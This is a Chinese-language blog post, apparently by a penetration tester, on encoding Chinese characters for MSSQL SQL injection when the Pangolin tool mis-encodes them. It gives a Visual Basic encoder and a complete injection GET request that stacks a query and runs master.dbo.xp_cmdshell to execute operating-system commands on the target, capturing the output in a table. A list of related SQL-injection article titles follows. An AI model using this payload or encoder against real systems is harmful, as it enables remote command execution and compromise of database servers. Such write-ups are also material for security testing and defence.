MSSQL隱碼攻擊時對中文字元的處理方法
在一次滲透測試過程中發現對方的網站根目錄用的是中文,使用Pangolin測試時,發現類似“dir c:\中文路徑”這種cmd命令執行總是出錯,後來用BurpSuite對傳送的資料包進行分析,發現Pangolin使用了一種類似URLEncode的編碼方式對中文進行編碼。
如“中文路徑”被其編碼成為:
0xd600d000ce00c400c200b700be00b600
很明顯,這裡每個中文字元被拆分成了兩個雙位元組且均以00結尾,不符合Unicode的規則,如果是Unicode編碼的話,每個中文應當佔用2個位元組,不應有00出現。
看來Pangolin對中文的處理有問題,不過我沒辦法修改它的二進位制程式碼,只能自己做一個編碼程式,然後配合BurpSuite把滲透測試工作執行下去。下面是處理編碼的一個小程式中的核心程式碼,在Visual Basic 2010 Express Edition編譯通過。
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim strOut As String = ""
For i = 1 To Len(TextBox1.Text) '逐個遍歷傳入的字元
Dim strChar As String = ""
strChar = Hex(AscW(Mid(TextBox1.Text, i, 1))) '將當前字元轉為16進製表示的Unicode編碼
If Len(strChar) = 2 Then '如果是ASCII字元,在其後加上00
strChar = strChar + "00"
Else
strChar = Mid(strChar, 3, 2) + Mid(strChar, 1, 2) '將該編碼高低位互換(否則MSSQL解析錯誤)
End If
strOut = strOut + strChar
Next
TextBox2.Text = "0x" + strOut.ToLower
End Sub
使用該程式對漢字“中文路徑”進行編碼後,結果如下:
0x2d4e8765ef8d845f
在Pangolin中設定BurpSuite代理,使用BurpSuite把Pangolin傳送的資料包中@z=??的問號部分替換為自己計算的字元編碼即可得到想要的結果。
GET /news_detail.aspx?newsid=3941%20;declare%20@z%20nvarchar(4000)%20set%20@z=??%20insert%20into%20[pangolin_test_table](resulttxt)%20exec%20master.dbo.xp_cmdshell%20@z;alter%20table%20[pangolin_test_table]%20add%20id%20int%20not%20null%20identity%20(1,1)-- HTTP/1.1
相關文章
- MSSQL隱碼攻擊提權的一些方法SQL
- MSSQL SQL隱碼攻擊 總結SQL
- SQL隱碼攻擊方法SQL
- MySQL隱碼攻擊Fuzz過濾字元字典MySql字元
- NET防SQL隱碼攻擊方法SQL
- sql 預處理為什麼可以放置SQL隱碼攻擊SQL
- SQL隱碼攻擊——時間盲注SQL
- SQL隱碼攻擊之字元型和數字型注入SQL字元
- SQL隱碼攻擊SQL
- SQL隱碼攻擊的例子SQL
- MySQL隱碼攻擊技巧MySql
- MYSQL SQL隱碼攻擊MySql
- 【SQL隱碼攻擊原理】SQL
- 防止SQL隱碼攻擊SQL
- SQL隱碼攻擊(一)SQL
- SQL隱碼攻擊(pikachu)SQL
- SQL隱碼攻擊式攻擊掃描器SQL
- SQL隱碼攻擊原理是什麼?如何防範SQL隱碼攻擊?SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句注入SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句修改SQL
- SQL隱碼攻擊問題以及解決方法SQL
- 修復SQL隱碼攻擊漏洞 兩種方法SQL
- 【網路安全】什麼是SQL隱碼攻擊漏洞?SQL隱碼攻擊的特點!SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-驗證檢查SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-繫結變數SQL變數
- 攻擊JavaWeb應用[3]-SQL隱碼攻擊[1]JavaWebSQL
- 攻擊JavaWeb應用[4]-SQL隱碼攻擊[2]JavaWebSQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊SQL
- SQL隱碼攻擊語句SQL
- pikachu-SQL隱碼攻擊SQL
- SQL隱碼攻擊導圖SQL
- SQL隱碼攻擊問題SQL
- MySQL隱碼攻擊工具sqlsusMySql
- ZMLCMS-SQL隱碼攻擊SQL
- 【SQL Server】--SQL隱碼攻擊SQLServer
- SQL隱碼攻擊演練SQL
- 預防SQL隱碼攻擊SQL
- SQL隱碼攻擊總結SQL